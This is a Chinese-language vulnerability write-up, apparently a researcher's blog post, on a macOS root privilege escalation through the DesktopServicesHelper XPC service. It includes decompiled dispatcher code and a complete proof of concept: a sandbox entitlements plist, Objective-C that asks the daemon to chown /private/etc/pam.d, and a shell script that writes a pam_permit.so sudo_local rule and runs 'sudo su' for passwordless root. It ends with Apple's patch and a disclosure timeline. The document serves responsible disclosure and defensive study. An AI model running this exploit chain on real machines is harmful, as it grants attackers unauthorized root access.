Finder 用来“修复”iCloud 文件权限的守护进程,结果却愿意修复任何东西的权限——包括系统目录。在本文中,我们将深入探讨 DesktopServicesHelper 的内部工作原理,以及为什么一个 XPC 请求就足以获取 root 权限。
我当时正在寻找带有 com.apple.private.tcc.allow 且值为 kTCCServiceSystemPolicyAllFiles 的目标,DesktopServicesHelper 引起了我的注意。DesktopServicesHelper 位于 /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/DesktopServicesHelper,Finder 将其用于需要提升权限的文件操作:移动文件、设置权限、处理废纸篓。

将二进制文件加载到 IDA 中并转到 start()。跳过常见的定时器和队列设置后,它创建了一个 XPC 监听器——这是守护进程的入口点。该监听器在特定名称下注册了一个 mach 服务,并开始监听传入连接。任何知道这个名称的进程都可以连接并发送请求。以下是关键部分:```c
// get the service name
v16 = (const char *)sub_1000709F4(a1: 0);
// register the listener mach_service = xpc_connection_create_mach_service(name: v16, targetq: nullptr, flags: 1u);
// set the incoming event handler xpc_connection_set_event_handler(connection: mach_service, handler: &stru_1000B4B48); xpc_connection_resume(connection: mach_service);
// start the event loop CFRunLoopRun();
函数 `sub_1000709F4` 返回 mach 服务名称。在 `start()` 中它以参数 0 被调用,这意味着该守护进程以名称 `com.apple.DesktopServicesHelper` 进行注册。```c
const char *__fastcall sub_1000709F4(int a1)
{
if ( a1 != 0 )
return "com.apple.DesktopServicesScriptingHelper";
else
return "com.apple.DesktopServicesHelper";
}
stru_1000B4B48 是一个处理程序块(回调),守护进程会为每个传入事件调用它。XPC 是基于消息的:客户端构造一个包含键和值的字典,将其发送给守护进程,守护进程解析内容并决定如何处理。所有传入事件最终都会进入这个处理程序。让我们看看内部实现。

该块的调用函数是 sub_100032044。在新连接上,守护进程首先获取客户端的 euid 和 egid —— 有效用户 ID 和组 ID —— 即发起连接的进程所运行的用户和组的标识符:```c
euid = xpc_connection_get_euid(connection: v8);
egid = xpc_connection_get_egid(connection: v8);
sub_100071268(a1: euid, a2: egid);
然后它为连接上的传入消息分配一个处理程序:```c
v15[2] = sub_10003AB2C; // block's invoke function
xpc_connection_set_event_handler(connection: v14, handler: v15);
xpc_connection_resume(connection: v14);
sub_10003AB2C - 这是来自客户端的实际 XPC 请求到达的地方。现在我们需要理解守护进程如何决定执行哪些请求以及拒绝哪些请求。
sub_10003AB2C 是主分发器。守护进程在这里决定如何处理请求。该函数很大,所以我们来分解一下。
首先,它从消息中提取 "request" 字符串——即客户端想要执行的命令名称:```c
reply = xpc_dictionary_create_reply(original: v12);
string = xpc_dictionary_get_string(xdict: v12, key: "request");
// ...
// logging: "Got Request '%{public}@'"
然后守护进程会获取连接进程的审计令牌,并检查它是否在 App Sandbox 中运行。App Sandbox 是 macOS 的一种应用程序隔离机制,用于限制对文件系统、网络及其他资源的访问。这里就是分支点:```c
xpc_dictionary_get_audit_token(a1: v12, a2: buf);
qmemcpy(__p, buf, sizeof(__p));
if ( (unsigned int)sandbox_check_by_audit_token(a1: __p, a2: 0, a3: 0) != 0 )
{
// client is sandboxed - check against allowlist
if ( (sub_10003B25C(a1: &v32, a2: "Handshake") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "exit") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "SetDefaultPermissionOnHomeSubdirectories") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "MoveAsideICloudToArchiveInHome") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "RepairPermissionsForCloudItems") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "CopyClientActive") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "DeleteItem") & 1) == 0 )
{
sub_100034250(a1: v12, a2: &v32); // not in the list - kill the daemon
}
}
else
{
// client is not sandboxed - check entitlement
*(_QWORD *)buf = sub_1000343C0(a1: v12, a2: CFSTR("com.apple.private.tcc.allow"));
v19 = (const __CFArray *)sub_10003B1E0();
v20 = v19;
if ( v19 == nullptr
|| (v35.length = CFArrayGetCount(theArray: v19),
v35.location = 0,
CFArrayContainsValue(theArray: v20, range: v35, value: CFSTR("kTCCServiceSystemPolicyAllFiles")) == 0) )
{
sub_100034250(a1: v12, a2: &v32); // no entitlement - kill the daemon
}
}
如果客户端处于沙盒中——请求名称会与一个包含七个字符串的允许列表进行比对。如果匹配——检查通过,请求继续处理。如果不匹配——sub_100034250 会终止守护进程。
如果客户端未处于沙盒中——守护进程会检查是否存在值为 kTCCServiceSystemPolicyAllFiles 的 com.apple.private.tcc.allow 权限。没有该权限同样意味着死亡。
通过检查后,请求会依次经过两个处理程序表。首先是 sub_10002F7C8,然后是 sub_10002A194:```c
// first table (8 commands, two arguments)
v21 = sub_10002F7C8(a1: buf);
// ...
if ( v21 != 0 )
v22(a1: v12, a2: v11); // found - invoke
// second table (21 commands, three arguments) v27 = sub_10002A194(a1: buf); // ... if ( v27 != nullptr ) v27(a1: v12, a2: reply, a3: v11); // found - invoke
现在让我们看看处理程序表。第一个表(`sub_10002F7C8`):```c
__int64 __fastcall sub_10002F7C8(__int64 a1)
{
__int64 result; // x0
void **v3; // x21
void **v4; // x8
_BYTE v5[32]; // [xsp+8h] [xbp-128h] BYREF
__int64 v6; // [xsp+28h] [xbp-108h] BYREF
__int64 v7; // [xsp+48h] [xbp-E8h] BYREF
__int64 v8; // [xsp+68h] [xbp-C8h] BYREF
__int64 v9; // [xsp+88h] [xbp-A8h] BYREF
__int64 v10; // [xsp+A8h] [xbp-88h] BYREF
__int64 v11; // [xsp+C8h] [xbp-68h] BYREF
__int64 v12; // [xsp+E8h] [xbp-48h] BYREF
__int64 v13; // [xsp+108h] [xbp-28h] BYREF
if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD8C8, memory_order_acquire) & 1) == 0
&& __cxa_guard_acquire(a1: &qword_1000BD8C8) != 0 )
{
sub_10002AA78(a1: (int)v5, __s: "OperationSizing");
sub_10002AA78(a1: (int)&v6, __s: "SetChildPermissions");
sub_10002AA78(a1: (int)&v7, __s: "RunTrashOperation");
sub_10002AA78(a1: (int)&v8, __s: "ChildCreateLock");
sub_10002AA78(a1: (int)&v9, __s: "RunSetRootMetadata");
sub_10002AA78(a1: (int)&v10, __s: "RunCopyMoveOperation");
sub_10002AA78(a1: (int)&v11, __s: "DeleteBackup");
sub_10002AA78(a1: (int)&v12, __s: "DeleteItem");
sub_10003BDDC(a1: &unk_1000BD8A0, a2: v5, a3: 8);
v3 = (void **)&v13;
do
{
v4 = v3;
v3 -= 4;
if ( *((char *)v4 - 9) < 0 )
operator delete(__p: *v3);
}
while ( v3 != (void **)v5 );
__cxa_guard_release(a1: &qword_1000BD8C8);
}
result = sub_10003BCF0(a1: &unk_1000BD8A0, a2: a1);
if ( result != 0 )
return *(_QWORD *)(result + 40);
return result;
}
这里没什么有趣的。八个处理程序(OperationSizing、SetChildPermissions、……),全部受权限检查限制。
但还有第二个表——v27 = sub_10002A194(a1: buf):```c
__int64 __fastcall sub_10002A194(__int64 a1)
{
__int64 result; // x0
void **v3; // x21
void **v4; // x8
_BYTE v5[32]; // [xsp+8h] [xbp-2C8h] BYREF
__int64 v6; // [xsp+28h] [xbp-2A8h] BYREF
__int64 v7; // [xsp+48h] [xbp-288h] BYREF
__int64 v8; // [xsp+68h] [xbp-268h] BYREF
__int64 v9; // [xsp+88h] [xbp-248h] BYREF
__int64 v10; // [xsp+A8h] [xbp-228h] BYREF
__int64 v11; // [xsp+C8h] [xbp-208h] BYREF
__int64 v12; // [xsp+E8h] [xbp-1E8h] BYREF
__int64 v13; // [xsp+108h] [xbp-1C8h] BYREF
__int64 v14; // [xsp+128h] [xbp-1A8h] BYREF
__int64 v15; // [xsp+148h] [xbp-188h] BYREF
__int64 v16; // [xsp+168h] [xbp-168h] BYREF
__int64 v17; // [xsp+188h] [xbp-148h] BYREF
__int64 v18; // [xsp+1A8h] [xbp-128h] BYREF
__int64 v19; // [xsp+1C8h] [xbp-108h] BYREF
__int64 v20; // [xsp+1E8h] [xbp-E8h] BYREF
__int64 v21; // [xsp+208h] [xbp-C8h] BYREF
__int64 v22; // [xsp+228h] [xbp-A8h] BYREF
__int64 v23; // [xsp+248h] [xbp-88h] BYREF
__int64 v24; // [xsp+268h] [xbp-68h] BYREF
__int64 v25; // [xsp+288h] [xbp-48h] BYREF
__int64 v26; // [xsp+2A8h] [xbp-28h] BYREF
if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD898, memory_order_acquire) & 1) == 0 && __cxa_guard_acquire(a1: &qword_1000BD898) != 0 ) { sub_10002AA78(a1: (int)v5, __s: "Handshake"); sub_10002AA78(a1: (int)&v6, __s: "MoveAndRename"); sub_10002AA78(a1: (int)&v7, __s: "SetDefaultPermissionOnHomeSubdirectories"); sub_10002AA78(a1: (int)&v8, __s: "MoveAsideICloudToArchiveInHome"); sub_10002AA78(a1: (int)&v9, __s: "RepairPermissionsForCloudItems"); sub_10002AA78(a1: (int)&v10, __s: "CheckPermissionsForCloudItem"); sub_10002AA78(a1: (int)&v11, __s: "AbortResumableCopy"); sub_10002AA78(a1: (int)&v12, __s: "SetLabel"); sub_10002AA78(a1: (int)&v13, __s: "SetAppCategories"); sub_10002AA78(a1: (int)&v14, __s: "CreateIconFile"); sub_10002AA78(a1: (int)&v15, __s: "RemoveIconFile"); sub_10002AA78(a1: (int)&v16, __s: "RepairTrash"); sub_10002AA78(a1: (int)&v17, __s: "Rename"); sub_10002AA78(a1: (int)&v18, __s: "CreateFolder"); sub_10002AA78(a1: (int)&v19, __s: "CreateAlias"); sub_10002AA78(a1: (int)&v20, __s: "RemoveTrashItemsOlderThanDate"); sub_10002AA78(a1: (int)&v21, __s: "SetTags"); sub_10002AA78(a1: (int)&v22, __s: "cancel"); sub_10002AA78(a1: (int)&v23, __s: "pause"); sub_10002AA78(a1: (int)&v24, __s: "resume"); sub_10002AA78(a1: (int)&v25, __s: "exit"); sub_10003B360(a1: &unk_1000BD870, a2: v5, a3: 21); v3 = (void **)&v26; do { v4 = v3; v3 -= 4; if ( *((char *)v4 - 9) < 0 ) operator delete(__p: *v3); } while ( v3 != (void **)v5 ); __cxa_guard_release(a1: &qword_1000BD898); } result = sub_10003BCF0(a1: &unk_1000BD870, a2: a1); if ( result != 0 ) return *(_QWORD *)(result + 40); return result; }
这样就得到了 21 个处理程序。调度器以级联方式工作:首先在第一个表(`sub_10002F7C8`,8 个命令)中查找请求名称——这些是“即发即忘”操作,它们接收 XPC 连接和对端(客户端对象),但不返回响应。如果未找到——则搜索第二个表(`sub_10002A194`,21 个命令)——这些是带响应的操作,它们还会额外接收一个回复(用于将结果发送回客户端的对象)。
几乎所有命令要么不执行任何有趣的操作,要么被权限检查所限制。但有一个是开放的——`RepairPermissionsForCloudItems`。让我们找到它的处理程序。在汇编中我们可以看到 `sub_10002AA78` 将函数指针作为其第三个参数:```asm
__text:000000010002A2AC MOV X2, X16
__text:000000010002A2B0 MOV X0, X20 ; int
__text:000000010002A2B4 BL sub_10002AA78
__text:000000010002A2B8 ADD X21, SP, #0x2D0+var_2C8
__text:000000010002A2BC ADD X20, X21, #0x80
__text:000000010002A2C0 ADRL X1, aRepairpermissi ; "RepairPermissionsForCloudItems"
__text:000000010002A2C8 ADRL X16, sub_10002D744
__text:000000010002A2D0 PACIZA X16
RepairPermissionsForCloudItems -> sub_10002D744。我们找到了沙箱中无需额外授权即可访问的唯一处理程序。现在让我们看看它实际如何处理接收到的数据。
处理程序 sub_10002D744 做了三件事。首先,它从 XPC 消息中提取 "Paths" 键,并通过 NSKeyedUnarchiver 将其反序列化为字符串数组:```c
v8 = objc_claimAutoreleasedReturnValue((id)sub_100028810(a1: v5, a2: "Paths"));
v9 = objc_claimAutoreleasedReturnValue(
+[NSKeyedUnarchiver unarchivedArrayOfObjectsOfClass:fromData:error:](
&OBJC_CLASS___NSKeyedUnarchiver,
"unarchivedArrayOfObjectsOfClass:fromData:error:",
objc_opt_class(a1: &OBJC_CLASS___NSString),
v8,
&v25));
然后它通过 `sub_100034B5C` 将每个路径传递给 `sub_100029CE4`,以确定是否需要“修复”。对于需要修复的路径,它会调用 `sub_10002A11C`:```c
sub_100034B5C(a1: v22, a2: v24, a3: sub_100029CE4);
if ( v22[0] != v22[1] )
sub_10002A11C(a1: v5, a2: v22);
没有路径验证:传入什么就处理什么。函数 sub_100029CE4 检查是否需要“修复”。关键逻辑如下:```c
v3 = lstat(a1: v2, a2: &v28);
// ...
if ( (v28.st_mode & 0xF000) != 0x4000 && v28.st_nlink > 1u )
return false; // not a directory + hardlinks > 1 - skip
v6 = sub_100071288(a1: v4); // get caller's UID
if ( v28.st_uid != v6 )
return true; // owner doesn't match - repair needed
检查逻辑:```
lstat(path)
|
+- not a directory && hardlinks > 1 ?
| +- yes -> false (skip)
|
+- st_uid == our UID ?
| +- yes -> false (owner matches, no repair needed)
| +- no -> true (repair needed)
|
+- directory ?
+- yes -> recurse into contents
对于需要修复的路径,会调用 sub_10002A11C —— 一个简单的循环,遍历结果并为每个结果调用 sub_100029440。以下是 sub_100029440 的关键逻辑:```c
fd = open(path, 0x200000);
fstat(fd, &st);
// only check: not a directory + hardlinks >= 2 - skip if ( (st.st_mode & 0xF000) != 0x4000 && st.st_nlink >= 2u ) return close(fd);
// get caller's UID (ours - 501) caller_uid = sub_100071288();
// owner doesn't match - change to ours if ( st.st_uid != caller_uid ) fchown(fd, caller_uid, st.st_gid);
close(fd);
// if directory - recursively call itself for each item if ( (st.st_mode & 0xF000) == 0x4000 ) sub_100029440(child_path);
就是这样。守护进程会对提供的任何路径调用 `fchown`,而不检查它是否位于 `~/Library/Mobile Documents/` 或任何 iCloud 容器中。而且如果路径是一个目录,该函数会递归遍历其所有内容,并对每个项目调用 `fchown`。
再读一遍。让它沉淀一下。传入任何目录——你就拥有了它的所有内容。
## 摘要
从 XPC 请求到 `fchown` 的完整链条:```
Sandboxed app
|
+- xpc_connection_create_mach_service("com.apple.DesktopServicesHelper")
|
+- xpc_dictionary: "request" = "RepairPermissionsForCloudItems"
| "Paths" = ["/private/etc/pam.d"]
|
+- send --> DesktopServicesHelper (root)
|
+- sandbox_check: client sandboxed? -> yes
+- allowlist: RepairPermissionsForCloudItems? -> yes, pass through
+- NSKeyedUnarchiver: extract paths
+- lstat: st_uid != caller_uid? -> yes, repair needed
+- fchown(path, 501, gid) <- arbitrary path, no validation
一个 XPC 请求——任何文件或目录都归我们所有。
现在我们可以在磁盘上的任意路径上执行任意 chown。接下来我们只需将其转化为 root 权限。
在 macOS 上,身份验证通过 PAM 进行。配置文件位于 /private/etc/pam.d/ —— 每个检查密码的程序对应一个文件:sudo、login、su 等。该目录归 root:wheel 所有。因此我们可以用我们的 chown 取得其所有权。之后我们就可以自由创建文件 /private/etc/pam.d/sudo_local,其中只需一行:```
auth sufficient pam_permit.so
`pam_permit.so` 是一个始终返回成功的 PAM 模块。`sudo` 会在主配置之前检查 `sudo_local`。结果:`sudo` 不再要求输入密码。
但有一个问题。你不能直接从沙箱连接到 `com.apple.DesktopServicesHelper`:沙箱默认阻止对该服务的 mach-lookup。但守护进程本身会检查调用进程是否处于沙箱中——只有在这种情况下,才会在没有权限检查的情况下放行 `RepairPermissionsForCloudItems`。讽刺的是:这里的沙箱不是防御——而是一张通行证。
为了让 mach-lookup 通过沙箱,我们需要 `com.apple.security.temporary-exception.mach-lookup.global-name` 权限。以下是 PoC 应用程序所需的最小权限集:```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
<key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
<array>
<string>com.apple.DesktopServicesHelper</string>
</array>
</dict>
</plist>
两个授权。
com.apple.security.app-sandbox - 启用沙盒(没有它,守护进程将需要 TCC 授权并拒绝我们)。
com.apple.security.temporary-exception.mach-lookup.global-name - 一个沙盒例外授权。
沙盒不允许连接到所有 mach 服务,而 com.apple.DesktopServicesHelper 不在允许列表中。此键为特定服务添加例外。这就是我们所需要的。代码直接放入 ViewController.m。关键方法是 chownPath:,它连接到守护进程并发送请求:```objc
(void)chownPath:(NSString *)path { xpc_connection_t conn = xpc_connection_create_mach_service( "com.apple.DesktopServicesHelper", NULL, 0); if (!conn) return;
xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {}); xpc_connection_resume(conn);
NSData *archived = [NSKeyedArchiver archivedDataWithRootObject:@[ path ] requiringSecureCoding:YES error:nil];
xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "request", "RepairPermissionsForCloudItems"); xpc_dictionary_set_data(msg, "Paths", archived.bytes, archived.length);
xpc_connection_send_message_with_reply_sync(conn, msg); }
我们连接到 `com.apple.DesktopServicesHelper`,通过 `NSKeyedArchiver` 将路径归档为 `NSArray`(正如守护进程所期望的那样),构造一个 XPC 字典,其中键 `"request"` = `"RepairPermissionsForCloudItems"`,然后发送它。
在应用启动时,我们对 `/private/etc/pam.d` 调用 `chownPath:` 并检查结果:```objc
- (void)runExploit
{
[self chownPath:@"/private/etc/pam.d"];
usleep(200000);
struct stat st;
if (lstat("/private/etc/pam.d", &st) != 0) return;
if (st.st_uid == getuid())
NSLog(@"ok");
}
等待 200ms,然后执行 lstat —— 如果所有者已变为我们的 UID,则说明 chown 成功。
现在让我们把所有内容整合起来。shell 脚本启动 PoC 应用程序,等待守护进程完成其工作,验证 chown 是否成功,写入 PAM 规则,然后获取 root 权限:```sh
#!/bin/sh
set -e
PAM_DIR="/private/etc/pam.d" SUDO_LOCAL="$PAM_DIR/sudo_local"
./poc.app/Contents/MacOS/poc & POC_PID=$! sleep 4 kill $POC_PID 2>/dev/null || true wait $POC_PID 2>/dev/null || true
if [ "$(stat -f %u "$PAM_DIR")" != "$(id -u)" ]; then echo "chown failed" exit 1 fi
echo 'auth sufficient pam_permit.so' > "$SUDO_LOCAL" chmod 644 "$SUDO_LOCAL"
sudo id sudo su
## Apple 的补丁
Apple 在 `RepairPermissionsForCloudItems` 处理程序的最开始处添加了一项权限检查:```c
if ( (sub_100034110(a1: v5,
a2: CFSTR("com.apple.private.desktopservices.cloud-repair-perm")) & 1) == 0 )
{
sub_100034250(a1: v5, a2: v22); // no entitlement - kill the daemon
}
现在只有拥有私有权限 com.apple.private.desktopservices.cloud-repair-perm 的进程才能调用 RepairPermissionsForCloudItems。没有该权限时——sub_100034250 会终止该守护进程。函数其余逻辑保持不变。
| 日期 | 事件 |
|---|---|
| 05/09/2026 | 报告已提交至 Apple 产品安全团队 |
| 05/11/2026 | Apple 将报告移至审查状态 |
| 05/13/2026 | Apple 复现了该漏洞,计划于秋季修复 |
感谢阅读,祝漏洞挖掘愉快!
| 05/26/2026 |
| 在 macOS 26.6 beta 1 中修复 |
| 08/11/2026 | 分配 CVE-2026-43783 |